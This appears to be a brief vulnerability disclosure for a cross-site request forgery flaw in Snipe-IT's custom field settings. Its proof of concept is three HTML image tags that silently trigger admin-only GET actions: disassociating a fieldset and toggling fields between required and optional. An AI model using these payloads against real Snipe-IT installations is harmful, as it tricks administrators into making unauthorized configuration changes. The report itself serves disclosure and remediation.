Description

CSRF in custom field settings

Proof of Concept

<img src="http://&lt;SNIPE_IT_APP&gt;/fields/1/fieldset/1/disassociate">
<img src="http://&lt;SNIPE_IT_APP&gt;/fields/required/3/3">
<img src="http://&lt;SNIPE_IT_APP&gt;/fields/optional/3/3">

Impact

This vulnerability is capable of trick admin user to modify custom forms